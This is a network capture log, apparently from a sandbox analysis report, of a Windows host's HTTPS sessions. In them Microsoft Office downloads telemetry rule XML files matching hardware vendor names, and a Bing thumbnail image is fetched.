2024-11-25 06:53:27 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:27 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:27 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 4834b854-301e-005d-3ab8-3ee448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065327Z-178bfbc474b9fdhphC1NYCac0n000000073g000000002k25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:27 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:27 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:27 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: f31a7606-101e-0065-3a6c-3d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065327Z-15b8b599d88z9sc7hC1TEBkr4w00000005kg00000000m7sr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:27 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:27 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:27 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 3257ccc0-201e-005d-19b5-3eafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065327Z-178bfbc474bfw4gbhC1NYCunf4000000075g000000003e3p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:27 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:29 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065329Z-174c587ffdfmlsmvhC1TEBvyks00000005r000000000az57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:29 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: feb62e3a-f01e-0085-1d2f-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065329Z-178bfbc474btvfdfhC1NYCa2en000000074g0000000093fy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:29 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:29 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f19b5380-801e-0015-2749-3cf97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065329Z-15b8b599d88wn9hhhC1TEBry0g00000005n0000000009nhy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:29 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:29 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 2b92647c-c01e-00a2-646f-3b2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065329Z-174c587ffdfl22mzhC1TEBk40c00000005qg00000000bg2x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:29 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:30 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:29 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 62a4a1a4-401e-00ac-0c3d-3d0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065329Z-174c587ffdfb74xqhC1TEBhabc00000005h000000000echf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 06:53:30 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49769	2.16.158.75	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:30 UTC	367	OUT	GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive
2024-11-25 06:53:30 UTC	628	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Type: image/png Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QWthbWFp"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Content-Length: 1874 Date: Mon, 25 Nov 2024 06:53:30 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.169e1002.1732517610.1328510b
2024-11-25 06:53:30 UTC	1874	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 06 e7 49 44 41 54 48 4b 95 93 0b 54 93 e7 19 c7 3f 2e 81 90 1b b7 ba a3 67 dd 7a a6 75 a7 83 40 88 dc ca aa d4 1d 94 02 02 81 90 ac 5e d0 8e e3 8e 5d 2f 93 22 0c 08 01 af 08 a2 a0 20 a2 50 44 ec 9c 73 dd d9 dc ea ac 68 5b 35 17 92 70 27 5c 12 12 42 a2 dc aa 88 a8 79 9f 8f 90 48 4b f6 26 fb 8e eb d6 d9 6d bf 73 fe e7 3b 39 e7 7d fe bf ef 79 bf 13 e2 bb 58 ad 34 ae e4 ca 47 8b b9 72 e3 17 5c b9 6e 3c 44 31 f0 24 44 d9 83 a3 9a 0c 51 de 54 87 2a db 8e 87 2a ff b2 9e f8 a3 d8 8b 1a f9 df e0 7d 31 f1 fd 08 d9 Data Ascii: PNGIHDRw=sRGBgAMAapHYsodIDATHKT?.gzu@^]/" PDsh[5p'\ByHK&ms;9}yX4Gr\n<D1$DQT**}1

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:31 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:32 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: aaf2b452-f01e-0071-621c-3e431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065332Z-178bfbc474bnwsh4hC1NYC2ubs000000073000000000cfns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:32 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:32 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: e1811c2a-201e-00aa-06c6-3e3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065332Z-178bfbc474bh5zbqhC1NYCkdug000000073g0000000022gd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:32 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
